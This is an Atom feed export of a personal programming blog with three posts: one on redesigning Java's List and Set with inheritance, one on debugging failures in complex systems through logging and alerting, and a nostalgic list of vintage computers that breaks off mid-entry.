<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5680951</id><updated>2012-01-07T09:20:58.674-06:00</updated><title type='text'>Dogic</title><subtitle type='html'>A Nerd Life Blog</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>58</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5680951.post-341553211515004180</id><published>2011-09-12T09:25:00.007-05:00</published><updated>2011-09-12T10:00:09.552-05:00</updated><title type='text'>Java List and Set redefined</title><content type='html'>I want to propose that java.util.List and java.util.Set should have been implemented with inheritance rather than interfaces.&lt;br /&gt;&lt;br /&gt;Whenever I would give people an example of Java Interfaces done correctly, I used to point to java.util.List as an example.&lt;br /&gt;&lt;br /&gt;List is a true data type, not just a collection of methods.  It’s a well defined concept that doesn’t change often.  Plus all the implementations of List are in the same jar as the interface, so there are no messy factories or Reflection to deal with.  List is the ideal candidate for Interface use.&lt;br /&gt;&lt;br /&gt;But then it occurred to me that 99.9% of the time, when we use List, we are using ArrayList as the implementation.  If you need to use Vector, that’s a sign you have some other kind of design problem because your code should be naturally thread-safe without locking.   Likewise 99.9% of the time that we use “Set” we use “HashSet”.&lt;br /&gt;&lt;br /&gt;I always follow the K.I.S.S. principle in my designs.  I favor simplicity over features even though that’s ironically more difficult to accomplish.  So if I was in charge of Java, I would eliminate the List and Set interfaces and make people use concrete types.  LinkedHashSet would simply inherit from HashSet, and Vector would inherit from ArrayList, so you could still have your polymorphic behavior.  &lt;br /&gt;&lt;br /&gt;I don’t propose this just because I find Java Interfaces to be annoying, but rather I believe that inheritance is more natural for this situation because a LinkedHashSet “is a” HashSet.  A Vector “is a” ArrayList (although poorly named).  HashSet could extend an abstract class called “Set”, and ArrayList could extend an abstract List.&lt;br /&gt;&lt;br /&gt;There are a couple of things you can do with Interfaces that you can't do with Inheritance, and maybe that could burn you on a few occasions.  But it's the nature of software development that you remember (often with scars) the two or three times you get burned bad by a missing feature, but you never remember the ten thousand times you were saved a step or a click or a mental cycle of debugging by not having that feature.&lt;br /&gt;&lt;br /&gt;In the long run, I'd rather suffer the occasional deep wound than be slowed down by tons of paper cuts.  Also, if you follow other good development practices (like having good Unit Test coverage and being nimble at refactoring) you can make it easy to recover from those deep wounds quickly.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;"Any intelligent fool can make things bigger, more complex... It takes a touch of genius -- and a lot of courage -- to move in the opposite direction."  -- Albert Einstein&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-341553211515004180?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/341553211515004180/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=341553211515004180' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/341553211515004180'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/341553211515004180'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2011/09/java-list-and-set-redefined.html' title='Java List and Set redefined'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-2946030506413441452</id><published>2009-08-16T13:12:00.004-05:00</published><updated>2011-09-30T08:49:44.417-05:00</updated><title type='text'>The impossible cause</title><content type='html'>&lt;span style="color: black; font-family: Arial;"&gt;&lt;br /&gt;The following is a true story that illustrates a common problem with complex systems:&lt;br /&gt;&lt;br /&gt;I discovered today that I cannot call my bank from my cell phone.  The call will not go through.&lt;br /&gt;&lt;br /&gt;Here are the facts:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="color: black; font-family: Arial;"&gt;&lt;br /&gt;&lt;li&gt;My cell phone can call ANY other number except my bank.  It can even call other numbers in the same exchange.  Therefore, it is &lt;span style="font-weight: bold;"&gt;unlikely the problem is with my phone. &lt;/span&gt;&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;The bank says that all their other customers can call them except for me.  Therefore, it is &lt;span style="font-weight: bold;"&gt;unlikely the problem is with the bank&lt;/span&gt;.  &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;My cell phone carrier says that every other customer can call every other destination and there are no outages between me and my bank.  Therefore, it is &lt;span style="font-weight: bold;"&gt;unlikely the problem is with the carrier.&lt;/span&gt;&lt;/li&gt;&lt;/span&gt;&lt;/ul&gt;&lt;span style="color: black; font-family: Arial;"&gt;So, by eliminating all probable causes, I have eliminated every cause.&lt;br /&gt;&lt;br /&gt;Sir Arthur Conan Doyle once said "Once you eliminate the impossible, whatever remains, no matter how improbable, must be the truth."&lt;br /&gt;&lt;br /&gt;But in the world of complex systems, we cannot determine nor eliminate the impossible, so we are left to eliminate the improbable, and once you eliminate the improbable, whatever remains might be impossible. &lt;br /&gt;&lt;br /&gt;Neither my bank or my carrier is willing to spend the considerable effort it would take to trace down a problem that "probably" isn't even theirs. &lt;br /&gt;&lt;br /&gt;Somewhere in the connection between me and my bank, something improbable has occurred.  However, sitting between me and my bank are dozens of complex systems, and so any improbable problem results in major finger-pointing.&amp;nbsp; Systems are becoming increasingly complex due to ever-increasing numbers of layers and abstractions.&amp;nbsp; There are more and more cooks in the kitchen every year.&lt;br /&gt;&lt;br /&gt;The relatively recent emphasis on Unit Testing is (IMHO) a response to the ever-increasing complexity of software interactions.  Not only is my code 4 or 5 levels away from the metal, but my code is dependent on a half dozen other massive systems that are also 4+ levels away from their own metal.  The networking between systems adds another 2 or 3 levels.  When systems call other systems the number of levels involved increases geometrically!&lt;br /&gt;&lt;br /&gt;So now when I store my name as "Bert" in the database, but later retrieve it as "Ernie", I have no reasonable way to even guess, much less trace, all the places that might have damaged my data along the way. &lt;br /&gt;&lt;br /&gt;The only way to determine the output of a complex system is through constant and rigorous experimentation (unit testing).  The days of predictable outcomes are all but gone.&lt;br /&gt;&lt;br /&gt;But unit tests are still vulnerable to the layers of unknowns beneath them.  A unit test may fail because some system 8 layers down failed.  This is where mocking becomes valuable.  If you mock out all of your external dependencies, you can bring all of your code back to within 4 levels of the metal and have a much better chance of executing accurate tests.&lt;br /&gt;&lt;br /&gt;The huge downside of mocking (besides the extra time and complexity it adds to your test) is that you've replaced an external dependency with your own fallible assumptions and fallible implementations of how that external dependency should behave in a real-world scenario.&lt;br /&gt;&lt;br /&gt;Another factor working against us is that high improbabilities can multiply into certainties as the number of active systems increases.  If you have a system that only fails once per year due to a freak accident, then that's a reasonably reliable system.  But in a big I.T. shop you likely have at least 52 such systems, which means you've set yourself up for 1 freak accident every week!  Every week you find yourself trying to find the cause of a problem that is virtually unreproducible!&lt;br /&gt;&lt;br /&gt;This has become a serious problem that I don't see anyone addressing in a meaningful manner.  It is too time consuming and frustrating when every system failure results in finger pointing. &lt;br /&gt;&lt;br /&gt;Sure there are profiling tools that can trace your code and let you punch through 3 or 4 layers of abstraction to watch what is going on in your code, but these are limited by many factors.  (There are so many factors that I'm not going to list them all here lest I go off on a very long tangent)&lt;br /&gt;&lt;br /&gt;My overall experience with profilers is that they find 10% of the problems dead-on, and they can give you good leads to follow for another 40% of the problems, but for the rest you are on your own.&lt;br /&gt;&lt;br /&gt;I have some idea for how to tame the complexity beast that is upon us:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black; font-family: Arial;"&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;Trace Logging&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;Everything a system does should be logged in a common location so that it's possible to trace all the communication from point A to point Z without having to run a TCP tracer or system profiler.  Use "trace" level logging!  That's what it's there for! &lt;br /&gt;&lt;br /&gt;Treat your logging system like the black box on an airplane.  Use it to record anything that can be helpful in determining the cause of a crash. &lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;Live Testing (contract enforcing)&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;The assumptions made in the creation of the Unit Tests and mock objects should be tested against the live data as it arrives, and if anything falls out of bounds, that system must have the ability to sound an alert that results in human notification and not just another line written to a massive log file.&lt;br /&gt;&lt;br /&gt;I'm not saying that your Unit Tests should be run in production, but consider enforcing the same assumptions you made about the inputs and outputs in your Unit Test.  Having an clean interface doesn't help.  A Java/C# interface only enforces data types, not contents, and it's the contents that cause the biggest problems.  You have to have code that validates the actual data that arrives AND validates the data that is returned.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;Alerting&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;If you encounter an error, just don't log it to some log file that nobody reads.  Implement mechanisms that will alert an actual human being when there is a failure.  The simplest way would be a tool that parses the log file and sends urgent e-mails for each error it finds.  In the case of my inability to call my bank, there is SOME system somewhere in the chain that is recognizing an error state but has no mechanism to inform a human being of the problem.  This is especially true of routers and switches and other magic black boxes.&lt;br /&gt;&lt;br /&gt;Modern hardware servers (the physical boxes) implement both &lt;u&gt;Live Testing&lt;/u&gt; and &lt;u&gt;Alerting&lt;/u&gt;.  If a memory chip fails a CRC test, then an alert is sent to the system admins.  On more than one occasion they have detected a flaky memory chip that way.  If it were not for those server features, we'd have yet another source of untraceable freak accidents.  If hardware servers can do it, then why can't software do it?&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;Fault Intolerance&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;Fault-tolerant systems lead to the most difficult bugs to trace.  These systems try to be very forgiving of bad data and bad environments and do their best to continue their process no matter what.  That's fine, but tolerating faults without &lt;u&gt;Alerting&lt;/u&gt; is a major cause of unexplainable system behavior.&lt;br /&gt;&lt;br /&gt;I have personally witnessed an error that was caused by a firewall that was prematurely closing connections when it got overloaded.  This was a Fault Tolerance feature of the firewall so that it would keep running under the extreme load.  But it also caused many *months* of finger pointing when our applications would have mysterious errors under heavy load.  If the firewall is unable to alert a human, then I would rather see it just crash completely and take all systems down than keep operating in a way that causes mysterious and untraceable problems!  If the firewall were to shut itself down completely, then we'd be able to zero in on the cause in no time!  Otherwise we are left trying to catch live bugs in running systems which is damn-near impossible.  The very act of trying to trace them can sometimes cause them to not happen!  (We call those "Heisenbugs")&lt;br /&gt;&lt;br /&gt;I have personally witnessed other freak accidents caused by code that tried to "fix" bad data on-the-fly.  If a required field was passed in as NULL, the code would replace it with empty-string or "none" and effectively kick the problem further down the road.  DON'T DO THAT!  Someone obviously thought they were helping reliability by making their code able to handle any situation.  But what they really did was undermine the reliability of all the downstream systems and undermined the traceability of all upstream systems!&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;Error Failing&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;I don't like the term "Error Handling" because that seems to imply that an error is something you can recover from.  In most cases it's not.  If something isn't what you expect, then fail noisily and alert someone. &lt;br /&gt;&lt;br /&gt;Hibernate was the first major framework (that I know of) to abandon exception handling in favor of just failing outright via Runtime Exceptions that are thrown all the way up the stack.  Catching an exception and trying to recover is quite often a bad thing to do.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;Monitoring&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;Not everything that can go wrong will produce an alterable error.  Systems are organic things that must receive constant checkups to see how they are growing.  Tools that capture statistics about traffic must be kept so they can be analyzed for unexpected growth areas that might lead to bottlenecks.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;The Cost&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;Here is the problem with all of my above suggestions: They aren't easy or cheap.  Many of the advances of Computer Science have been in pursuit of allowing developers to focus on business logic and not the plumbing.  What I am proposing here is a LOT of plumbing that must be created by hand. &lt;br /&gt;&lt;br /&gt;What is the cost of implementing so much plumbing?  It's high.  What is the cost of months of finger pointing between various systems in your I.T. infrastructure?  In the long-run it's even higher. &lt;br /&gt;&lt;br /&gt;You can argue that all this plumbing isn't worth it just to solve the problem of the 1 customer out of millions who can't call their bank.  But I would argue that those 1-off problems are quite often seeds for much bigger problems, especially in the realm of performance issues.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-2946030506413441452?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/2946030506413441452/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=2946030506413441452' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/2946030506413441452'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/2946030506413441452'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2009/08/impossible-cause.html' title='The impossible cause'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-3675677858114300397</id><published>2009-03-02T21:32:00.024-06:00</published><updated>2009-03-31T21:09:15.115-05:00</updated><title type='text'>30 Years and Counting!</title><content type='html'>&lt;span style=";font-family:arial;color:black;"  &gt;It was about this time in 1979 that I first got into computers.   &lt;br /&gt;&lt;br /&gt;I started to type up this list of the memorable technologies I've used over those 30 years...and this list got a little out of hand...then this list got REALLY out of hand.  I had forgotten how much I actually remembered!  :)&lt;br /&gt;&lt;br /&gt;My list has gotten so long that nobody will read it...so now this is just an exercise for my own amusement.  However, the fact that I was able to find Wikipedia entries for almost everything here means that I'm not the only one who remembers some of these things. =)&lt;br /&gt;&lt;br /&gt;So here is my list of everything I've seen and done (technology-wise).  All descriptions are from my own memory of experiences and events at the time, so there is no guarantee that all of this is 100% accurate.  &lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Computers/Calculators &lt;/h2&gt; &lt;dl&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Apple_2"&gt;Apple ][, ][+&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The legendary Apple ][ that created the monster who we know today as "Steve  Jobs". :)  This was my main platform of choice for most of the 1980's.  It's still the computer that I know better than any other.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/TI_99/4A"&gt;TI-99/4A&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Part computer, part game console, part calculator. Complete disaster.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Atari_400#The_early_machines:_400_and_800"&gt;Atari  400&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Horrible keyboard. What was it like to type on the Atari 400? Well, take a  sheet of bubble-wrap, and lay it out face down on your kitchen counter. Now  write letters on all the backs of all the bubbles. There you go.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/TRS-80_Color_Computer"&gt;TRS-80 Color  Computer&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;In 1982, you couldn't walk by a Radio Shack without seeing this computer on  display, usually demoing the game &lt;a href="http://en.wikipedia.org/wiki/Dung_Beetles_%28computer_game%29"&gt;Dung  Beetles&lt;/a&gt;, which was a bizarre knock-off of PacMan. The TRS-80 was referred to  as "TRaSh-80" by technology snobs. But the TRS-80 actually has a noble lineage  going back to the TRS-80 Model I released in 1977. It competed directly with the  early Apple II and the &lt;a href="http://en.wikipedia.org/wiki/Commodore_PET"&gt;Commodore PET.&lt;/a&gt;  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/TRS-80_Model_100_line"&gt;TRS-80 Model  100&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The most practical laptop ever built. No, seriously! It had a full keyboard  with great tactile feel and long keystrokes, and it ran for 20 hours on a single  set of replaceable (or rechargeable) AA batteries! Sure, the screen was a  monochrome LCD screen with only room for eight lines of text, but it had a  full-featured word processor, spread sheet, and database. If you want to do  untethered work for days on end, this was (and AFAIK still is) the only  solution...short of buying and charging a big stack of backup batteries for your  laptop.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://oldcomputers.net/trs80iii.html"&gt;TRS-80 Model III&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;I used these in high school.  There were fairly lame.  I wrote a lo-res  version of &lt;a href="http://en.wikipedia.org/wiki/Tron_%28arcade_game%29"&gt;Tron  Light Cycle&lt;/a&gt; game for the Model III that made them at tiny bit less lame, but  then the teacher banned students from playing it.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://www.99er.net/ti74art.html"&gt;TI-74 Basic Calc Pocket  Computer&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;If your pockets are big enough to carry a loaf of bread or a box of cereal,  then yes, this is a "pocket" computer. I've had one of these for 24+ years.   This device has no form of external storage, so all the programs I wrote are  only in memory. Every 6 months, since I was 15, I have changed the batteries on  my TI-74 to keep my old programs alive. (Just because) Someday the backup  capacitor is going to fail while I'm changing the main batteries, and I'll lose  everything. I've come up with numerous geeky plans to hot-wire alternate power  into this thing...but I'm more curious to see just how long this thing will  survive as-is. :)  Besides, this thing deserves a rest!  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://www.hpmuseum.org/img/28cs.jpg"&gt;HP-28C&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;At the college I went to, no nerd would be caught dead without one of  these.  I had the HP-28C, but the richer nerds had the nicer HP-28S. The HP-28's  could be programmed in &lt;a href="http://en.wikipedia.org/wiki/RPL_%28programming_language%29"&gt;RPL&lt;/a&gt;. RPL  stands for "Reverse Polish Lisp". Seriously. Look it up. And it used the Saturn  CPU which ran at 640kHz. This is the only CPU I've ever been aware of using that  was measured in kilohertz.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/HP-10C_series"&gt;HP-10 series (15C, 16C,  etc)&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The best calculators ever made. Period. For all of &lt;a href="http://www.hp15c.org/about.php"&gt;these reasons&lt;/a&gt;, this calculator is  still wildly popular, and there is even a &lt;a href="http://www.hp15c.org/"&gt;petition&lt;/a&gt; drive to bring them back into  production. Currently, they sell on eBay for hundreds of dollars each! So the  demand is definitely there.  I have the HP 16C, and it's my favorite calculator  to this day.&lt;br /&gt;&lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/PDP-10"&gt;PDP-10&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The mainframe of the gods. You could fill a box of Trivial Pursuit cards  with all the "firsts" and notable historical events associated with these  machines. When I was 13, I lucked into "acquiring" an account on a University of  Louisville PDP-10 mainframe. The PDP-10 was a 36-bit computer that most commonly  ran the &lt;a href="http://en.wikipedia.org/wiki/TOPS-10"&gt;TOPS-10&lt;/a&gt; Operating  System. This combination of hardware and OS was commonly referred to as a  "DEC-10". I played many games of &lt;a href="http://en.wikipedia.org/wiki/Decwar"&gt;DECWAR&lt;/a&gt; into the wee hours of the  morning, and spent hours in chatting on FORUM. DECWAR was the first multi-player  game ever, and FORUM was the first chat program ever, and I had the privilege of  being there, completely oblivious to how lucky I was.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/PDP-11"&gt;PDP-11&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This was DEC's most popular minicomputer, not to be confused with the PDP-10  which was a true monster mainframe computer. There was nothing "mini" about the  PDP-10. The PDP-11 was much smaller and affordable for colleges and scientists.   The PDP-11 was an absolutely amazing machine that was way ahead of its time.  It  ruled the computing world until microcomputers began to catch up in the late  1980's.&lt;br /&gt;&lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/DEC_VAX"&gt;Dec Vax-11 and Dec Vax  8250&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Replaced the PDP-11...or rather it succeeded the PDP-11...because nothing  could replace the PDP-11. :) These were the primary mainframes I used at  college. We did our programming assignments in rooms filled with VT-100  terminals connected to the VAXes (VAXi?). We had compilers for Pascal, Modula-2,  Ada, C and C++. What else could you want? College students today with their  "personal" computers and network connections in their rooms are just spoiled!  :)&lt;br /&gt;&lt;br /&gt;The Vax was the best...and last...great minicomputer.  In the early  90's, it lost market share to personal computers in businesses and  universities.   People will claim that the microcomputer revolution began in the  1970's.  But as *I* remember it, it didn't happen until the very late 1980's.   &lt;br /&gt;&lt;br /&gt;For the first decade of their existence, microcomputers were seen as toys and  game machines, and honestly the games were a main selling point early computers  like the C-64.  They weren't taken seriously by companies who made "real"  computers.  The key turning point was when &lt;a href="http://en.wikipedia.org/wiki/Turbo_C"&gt;Turbo-C&lt;/a&gt; was released for the IBM  PC in 1987.  That was the first time I clearly remember a collective "ah-ha!"  moment when it was proven that a microcomputer could be a serious application  development platform.   This event coincided with common memory upgrades that  allowed these microcomputers to have as much memory as a mainframe (around  512k), and, to make a perfect storm, this was also the point in history when  people started to believe that business applications could be written in C  instead of COBOL.&lt;br /&gt;&lt;/dd&gt;&lt;dd&gt;&lt;br /&gt;&lt;/dd&gt;&lt;dd&gt;The microcomputer could not replace the mainframe or minicomputer until  people started actually doing the kinds of things on microcomputers that they  used to do on mainframes...and generally speaking that was not playing games.   The true success story of the IBM-PC was its ability to run "serious"  applications, like language compilers and accounting packages.  None of the  other computers made by Commodore, Apple, or Tandy had superb development  environments like Turbo-C, Turbo-Pascal, or Borland C++. To this day I am  frustrated by the lack of a great C development environment for the Apple ][ and  C-64.  Sure, there are C compilers, but nothing like the Turbo-C IDE with its awesome integrated editor.&lt;br /&gt;&lt;/dd&gt;&lt;dd&gt;&lt;br /&gt;&lt;/dd&gt;&lt;dd&gt;DEC tried to keep up with the microcomputer revolution by releasing smaller  microcomputer versions of the Vax architecture: the so-called "Vax Stations".   But this was too little and too late and too expensive.&lt;br /&gt;&lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Tandy_Pocket_Computer"&gt;Tandy Pocket  Computer&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;These things were so cool...if you had hands like a squirrel monkey.  Otherwise the keyboard was WAY too small to type on.&lt;br /&gt;&lt;br /&gt;For a few years in the late 1980's, pocket computers were all the rage, and everyone wanted a pocket computer that could run BASIC.  Every time I would walk into a Radio Shack they had new models of Pocket Computers on display.  I'm not entirely sure why Pocket Computers died off.  I guess iPhones and PDAs replaced them, and perhaps nobody wants to write their own programs anymore.  (?)&lt;br /&gt;&lt;br /&gt;  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Apple_iigs"&gt;Apple //gs&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The //GS was half-way between an Apple ][ and a Macintosh, and it even had  an awkward CPU that could switch between 8-bit and 16-bit modes.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Apple_iic"&gt;Apple //c and //c Plus&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The "portable" Apple computer. The advertisements for this computer would  show a picture of someone running to be somewhere carrying their Apple //c by  the handle. The picture failed to show that this person must also be carrying a  5lb power brick, 4 cables, a mouse, a large box of floppy disk software, an  essential 2nd floppy drive, and a 30lb CRT monitor mounted on a 4lb monitor  stand made of steel...all in their pockets.&lt;br /&gt;&lt;/dd&gt;&lt;dd&gt;&lt;br /&gt;Computer portability has always fallen short of expectations (with the  exception of the TRS-80 Model 100). Even modern laptops are only as untethered  as an astronaut making a space walk. The momentary thrill of being free and  unconnected is lost as soon as you find yourself checking your oxygen gauge  every 30 seconds. Due to its small size, the Apple //c had no room for internal  expansion slots, and thus was not easily upgradeable. That didn't stop the very  clever folks at &lt;a href="http://en.wikipedia.org/wiki/Applied_Engineering"&gt;Applied Engineering&lt;/a&gt;  from inventing ways to squeeze new hardware into the Apple //c by making add-on  circuit boards in the shape of Tetris pieces. Maybe the guy who invented Tetris  once owned an Apple //c?  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Timex_Sinclair"&gt;Timex Sinclair&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;A programmable &lt;a href="http://en.wikipedia.org/wiki/Lite-Brite"&gt;Lite-Brite&lt;/a&gt; made by the same  group who invented the &lt;a href="http://www.vintagecalculators.com/html/wrist_calculators.html"&gt;most  ridiculous calculator watch ever&lt;/a&gt;. I would not be surprised if the Sinclair  computer was originally intended to come with a wrist strap.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Commodore_64"&gt;Commodore 64&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;You could buy a Commodore for under $600 when other computers were selling  for over $1200. That was pretty darn cool considering it was a real computer  with enough memory and power for all the common computing tasks of its day. Side  Note: Before getting into the computer business, Commodore was known for making  some rather &lt;a href="http://www.vintagecalculators.com/html/cbm_s61.html"&gt;nerd-tastic  calculators&lt;/a&gt;.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Coleco_Adam"&gt;Coleco Adam&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This is the only home computer (that I know of) that used high-speed  cassette drives as a primary storage mechanism. This was great except for the  fact that the Adam generated enough EM interference to erase any tapes left in  it too long. The tape drives were also prone to violent self-destruction when  anything jammed the high-speed tape feed. The Adam was such a disaster that it  single-handedly destroyed the entire company Coleco. Coleco, as you may  remember, made the Cabbage Patch Kids and many of the most popular &lt;a href="http://en.wikipedia.org/wiki/Handheld_electronic_game"&gt;hand held  electronic games&lt;/a&gt; from the late 70's and early 80's.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Macintosh_Classic_II"&gt;Macintosh Plus,  Mac SE, Mac Classic&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;As an early Apple ][ user, I was always in awe of the Macintosh. The Mac had  style! I would always go into the computer stores and sit down an play with the  early Macintosh computers. But I could never afford one. Even after I got my  first high-paying job I still couldn't afford one.  That's how ridiculously  expensive Macintoshes were.  Affordability has always been an issue with the  Macintosh. It was only 2 years ago that I finally bought an old Mac SE off of  eBay...the same model I've wanted since High School. (I rule!)  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Osborne_1"&gt;Osborne 1&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The first portable (luggable) computer...not to be confused with the Compaq  portable which was the first &lt;strong&gt;IBM-compatible&lt;/strong&gt; luggable computer.  The Osborne ran CPM/2.2. I have an Osborne 1, and I can tell you that this thing  is as portable as a full-sized tower PC with a handle glued to it.&lt;br /&gt;&lt;/dd&gt;&lt;dd&gt;&lt;br /&gt;&lt;/dd&gt;&lt;dd&gt;The Osborne computer was invented by Adam Osborne.  Not only does he have a  famous computer named after him, but he also has an infamous business blunder  named after him.  Adam Osborne announced the Osborne 2 (or Osborne Executive)  before it was actually ready to ship, and that had the effect of drying up sales  for the Osborne 1 and contributed to throwing the company into bankruptcy 3  months later.  This is now known as &lt;a href="http://en.wikipedia.org/wiki/Osborne_effect"&gt;The Osborne Effect.&lt;/a&gt; The  truth behind the Osborne Effect is somewhat exaggerated, because there were  other factors that lead to the demise of Osborne. But the moral of the story is  clear: Don't EVER announce a technology product that isn't ready!&lt;br /&gt;&lt;/dd&gt;&lt;dt&gt;&lt;strong&gt;Heathkit/Zenith 148 IBM PC compatible&lt;/strong&gt;&lt;/dt&gt;&lt;dd&gt;This was my first PC compatible computer. Zenith computers were sold at &lt;a href="http://en.wikipedia.org/wiki/Heathkit"&gt;Heathkit&lt;/a&gt; stores. Heathkit is  where you would go if Radio Shack just wasn't nerdy enough for you.  Heathkit sold most of their devices as boxes of parts you had to assemble  yourself. What I really wanted, but could never afford, was a &lt;a href="http://www.robotswanted.com/robotgallery/heathkit/"&gt;Heathkit HERO&lt;/a&gt;.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/IBM_PC"&gt;IBM PC&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/IBM_PC_XT"&gt;IBM PC/XT&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/IBM_PC_AT"&gt;IBM PC/AT&lt;/a&gt;  